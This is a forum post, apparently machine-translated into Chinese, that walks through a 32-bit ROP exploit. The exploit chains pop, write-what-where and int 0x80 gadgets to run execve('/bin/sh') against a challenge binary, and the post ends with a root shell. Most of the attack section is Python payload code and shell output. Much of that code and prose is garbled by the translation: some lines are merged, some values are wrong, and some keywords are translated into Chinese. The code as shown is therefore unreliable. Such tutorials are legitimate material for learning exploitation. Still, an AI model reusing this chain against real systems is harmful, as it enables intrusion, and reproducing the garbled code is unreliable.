透過系統呼叫的簡單 ROP 利用 /bin/sh

twhackteam

Administrator
站方人員
為了用sys_execve syscall執行/bin/sh,需要解決一些問題,依照參考,需要設定如下;
EAX = 11(或十六進位中的 0x0B) – execve 系統呼叫號
EBX = 字串「/bin/sh」在記憶體中的位址
ECX = 指向字串「/bin/sh」的指標的位址
EDX = Null(選擇性的)指向描述環境的結構的指標)
一旦所有這些都設定好,執行int 0x80指令應該會產生一個shell。

後面的工作​

從想要完成的開始,一次性連結在一起解決問題,直到已經有了利用鏈,ROP利用的本質是解決一個問題經常引入另一個問題,所以它很重要,集中和邏輯,總是尋找不同的路線和替代解決方案。
首先需要放置的是/bin/sh字串的位置,還需要一種方法將這個字串寫入這個選擇的位置,以及一個包含指向這個位置的指標的記憶體位址。值(這通常是有問題的),CBEAX、EBX和ECX寫入任意值。

小工具​

可以使用gadget的二進制,gadget是一個有用的ret指令,ret指令是關鍵的,因為它允許鏈接多個gadget連接到一個鏈,然後執行流,從一個指令返回。工具都是鏈中的一環。
有許多工具可以簡化尋找小工具和建立 ROP 鏈的過程,但暫時不考慮這些工具,而是自己的能力,以確保對整個過程有一個很好的理解。
雖然看起來二進位檔案相當小,但它包含了許多小工具,包括一個受關注的密集指令區域,看起來像是建構的。
  • bin-sh-via-syscall.jpg
這部分記憶體包含了所有需要的東西——從將資料從堆疊中彈出到EAX、EBX、ECX和EDX的小工具開始。
例如,從 0x08048225 開始的指令是 pop %eax; ret,這個小工具取得堆疊頂端的大約4個位元組,將它們放入EAX暫存器,對堆疊指標加1,然後回到下一個位址。
1[0x08048225][<要放入 EAX 的值>][<下一個小工具>] ...

還有gadget xor %edx,%edx; ret — 如果無法在漏洞中節省時間,這將非常方便,因為已經知道需要將 EDX 設定為0。 XORing 是自訂的常用方法。
接下來,就得到了一個真正強大的工具-在0x0804822F的小工具是mov %eax, (%edx); ret 將獲取EAX中的任何內容,把其複製到EDX中的位址所在的記憶體位置,因為可以將其與前面的小工具連結起來,以控制EAX和EDX的值,這就形成了write-what-哪裡原語。
最後,可以在0x8048210找到一個int 0x80; ret小工具

可寫記憶體​

著手將想要執行的命令的字串寫入程式的記憶體中。
1
2
4 .bss 0000001c 0804a000 0804a000 00001000 2**2
分配

值得注意的是,這個記憶體位置中最不重要的位置包含一個空字節,如果需要,可以添加一個小的偏移量來避免這種情況,0x0804A004

開發​

這是大量的準備工作,現在可以開始編寫漏洞了。定義一個函數address()來進行小端位址轉換。
1
2
3
4
5
6
7
8
9
10
pop_eax = 0x08048225
pop_ebx = 0x08048227
pop_ecx = 0x08048229
pop_edx =
0x0804822B Zero_edx = 0x08048220
writewhere
= 808080 def位址(資料):傳回struct.pack(“<L”,資料)



還需要設定變數來保存可寫記憶體位址,要放裡面的字串,要放入64位元組中的填充,最後是要覆蓋EBP的垃圾值。但它有助於安排一切有條不守。
1
2
3
4
writable_memory=0x0804a010 # .bss 部分可寫
padding = " " # 我們將使用空格作為填充
text = "A shell\n\n\n" # 風味文字
EBPoverwrite = "AAAA" # 覆蓋 EBP 的位元組

知道在利用法蘭克福中心控制了 68 位元組的 EIP,因此可以用 64 位元組 + 4 位元組架構的第一部分來覆蓋 EBP
1
2
緩衝區 = 文字 + 填入 * (64 - len(文字))
緩衝區 += EBPoverwrite

字串寫入1​

利用陣列中接下來的 4 個位元組是設定 EIP 的第一個值,也是 ROP 鏈的開始。作為系統呼叫的參數1,第一步只需要將寫入的值寫入EAX。
1
2
buffer += address(pop_eax) # 將值放入 EAX
緩衝區 += "/bin" # 一次 4 個位元組


執行pop EAX gadget時,ESP將指向下一個4位元組的字,即對應於ascii字串「/bin」的位元組。
1
2
buffer += address(pop_edx) # 將值放入 edx
buffer += address(writable_memory)

這裡使用位址函數將位元組重新排序為小端序,因為兩者都是記憶體位址

1緩衝區+=位址(writewhatwhere)

字串寫入2​

現在這個過程,將字串的下一個4位元組寫入記憶體。入“//sh”需要更新EDX以添加+4偏移量,並更改EAX中的值。
1
2
3
4
5
緩衝區 += 位址(pop_eax)
緩衝區 += "//sh"
緩衝區 += 位址(pop_edx)
緩衝區 += 位址(writable_memory + 4)
緩衝區 += 位址(writewhatwhere)

字串需要以空結束,這裡讀取的記憶體被初始化為0,所以在這種情況下不需要擔心,但值得記住。

地址寫入​

現在需要在記憶體中的字串,也需要在記憶體中寫入指向它的指標。 8 ,因為需要空結束字串,不能把遊標寫在它的旁邊,需要有一個小間隙。
1
2
3
4
5
6
# 將包含 /bin/sh 字串的位址寫入記憶體
buffer += address(pop_eax)
buffer
+= address(writable_memory) buffer += address(pop_edx)
buffer += address(writable_memory + 12)
buffer += address(writewhatwhere )

零EDX​

需要的第三個參數儲存在EDX中,應該是0x00000000。 ,可以,使用xor %edx, %edx 小工具,這是一種更通用的方法,因為0x00 經常是一個壞字符。時候將它歸零了。
1緩衝區 += 位址(zero_edx)

已註冊​

現在是系統呼叫準備 EBX 和 ECX 的時候了,這是很容易做到的,因為兩者都是記憶體位置;
1
2
3
4
5
buffer += address(pop_ebx)
buffer += address(writable_memory) # 字串 /bin/sh 的位置buffer += address(pop_ecx) buffer += address(writable_memory + 12) # 指向 /bin/sh 的指標位址




最後一個參數是需要放入EAX中的系統呼叫號碼。空格壞字符,或其他一些更靈敏的設定的方法。
1
2
緩衝區 += 位址(pop_eax)
緩衝區 += struct.pack( "<I" , 0x0000000B)

執行系統調用​

現在該執行執行完成系統呼叫了。
1
2
緩衝區+=位址(execute_syscall)
列印(緩衝區)

運行利用​

在測試中,可以看到shell按照預期創建,但是當主機程式關閉時,它會立即關閉。 cat保持輸入管道打開來解決;
1
2
3
4
5
6
7
root@kali:~ # pythonexploit.py > 漏洞利用
root@kali:~ # (catexploit;cat) | ./binary_challenge
告訴我你有什麼
:>你有:一個 shell
AAAA%�/bin+
� id
uid=0(root) gid=0(root) groups =0(root)

好了,一個適用於簡單的瀑布流的 ROP 漏洞利用。

參考連結(原文)​

 
返回
上方